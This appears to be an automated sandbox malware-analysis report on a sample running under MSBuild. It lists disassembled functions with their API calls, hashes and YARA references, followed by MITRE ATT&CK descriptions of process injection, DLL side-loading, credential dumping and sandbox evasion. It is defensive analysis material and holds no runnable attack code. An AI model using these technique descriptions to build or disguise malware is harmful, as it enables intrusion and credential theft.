Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction ID: 26d9144cf58e9693d2f3484741602e63cec8c66f05dd20cb94e197a5262779c8
Opcode Fuzzy Hash: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction Fuzzy Hash: C8F05934607350CBDA008BAACC60A8333715B4B218F052365C40546FB1DF30BD26CBA7

Function 6C519E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C519EEF

Strings

NaN, xrefs: 6C519EC1
Infinity, xrefs: 6C519EB7

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction ID: 7460488cda418c7958a040953e407b880e7240443305e3f3178a405367b36de6
Opcode Fuzzy Hash: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction Fuzzy Hash: 37F0AF70603261CAEB00DF58DC4974077B1B34B308F222B14C7040AB81E7356596CB9A

Function 6C516C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C42

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C58

Strings

0KTl, xrefs: 6C516C33, 6C516C41, 6C516C57

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KTl
API String ID: 1967447596-930345151
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 87624251b712052eb1f516409c5e997f5ea87ad0de175e8098be1e83e97f8eab
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 35E086F2B5C7054AFB08D97C9C0D56A71C8CB742ACB044A35E822C6FC8FF55ED908151

Function 6C513850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58F860), ref: 6C51385C
ReleaseSRWLockExclusive.KERNEL32(6C58F860,?), ref: 6C513871

Strings

,Xl, xrefs: 6C51387A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Xl
API String ID: 17069307-3587833152
Opcode ID: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction ID: dec8cd58306a0aecb73ac7c0ff9700a3992f623b46d0a4df4993b6a4213f1068
Opcode Fuzzy Hash: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction Fuzzy Hash: 64E0DF3290BA38B7DB01AF968C1998A7BB8EE4B6A03069205E40A17E00C770A4408AD9

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: ec3eb8fcd7deb6c29ac1391ae926f32523ec5629f39bf7b4dfd2b3276f6df592
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 6C51BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C51BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C51BEF5

Strings

cryptbase.dll, xrefs: 6C51BEF0

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction ID: a3176ae7928875015c0b054dc4a2bb7b380ec8e880f7aeb25bedd765c949f61e
Opcode Fuzzy Hash: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction Fuzzy Hash: 1ED0C731185118EAEA40BA508D09B153B7D9706715F10C421F75554E51C7B19454CB65

Function 6C55B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B628

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C55B127,?,?,?,?,?,?,?,?), ref: 6C55B74D

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction ID: 48600dc08a631be42a90a6ff6e26599b09e917d2a5fb5563967aeafbad67d5aa
Opcode Fuzzy Hash: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction Fuzzy Hash: 0851DFB1A01216CFDB14DF58CD8876EB7B1FF85304F95852EC85AAB750D731A824CBA1

Function 6C55DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C54FF2A), ref: 6C55DFFD

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C54FF2A), ref: 6C55E0FE

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction ID: c0e16941a1848438724a655da4934b272d3fc5769c063fbae02e20d06b3af938
Opcode Fuzzy Hash: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction Fuzzy Hash: 0141E1B1704216CFEB14CF68CC8035E73B6AB46308F95093AD516DBB50E7B5E925CB92

Function 6C556E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C556EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C556EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C556F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556F5C

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction ID: 7ae028fcb5236191282562114de202f9ba0ff924db6db96e7c2955bfe7c63a71
Opcode Fuzzy Hash: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction Fuzzy Hash: D431F471B1160A8FDB14CF2CCC806AE73E9AF85344F90463AD41AC7B55EF32E6698791

Function 6C56B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C510A4D), ref: 6C56B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C510A4D), ref: 6C56B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C510A4D), ref: 6C56B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C510A4D), ref: 6C56B67F

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction ID: 9677ddd2ef55a37d32480d32489bdd94da3c5f95e51adf3811c1a75834c27841
Opcode Fuzzy Hash: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction Fuzzy Hash: 93310671A012268FDB10EF59CC4465EBBF5FF81304F168A29D8069BB21EB31E915CBE1

Function 6C53F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F668

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 365fa5be9a379836fb3a3392c46343612a3c9516a906b2bafd87d5ed0c49df04
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: F4313071A006249FD724CF59CCC0A9E77B5EBC4358B148679FA498BB15E731FD848BA0

Function 6C5526B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526C1
free.MOZGLUE(?), ref: 6C5526E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526FF
free.MOZGLUE ref: 6C55270D

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction ID: f2de665ab08d7fefca0d2075f3dacaf15d406baa4b59aa8ac780d018eabbac65
Opcode Fuzzy Hash: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction Fuzzy Hash: 8FF0A9B27012015BEB009A58ECC495B73A9EF51258B950136EA1AD3B41E731F929C796

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
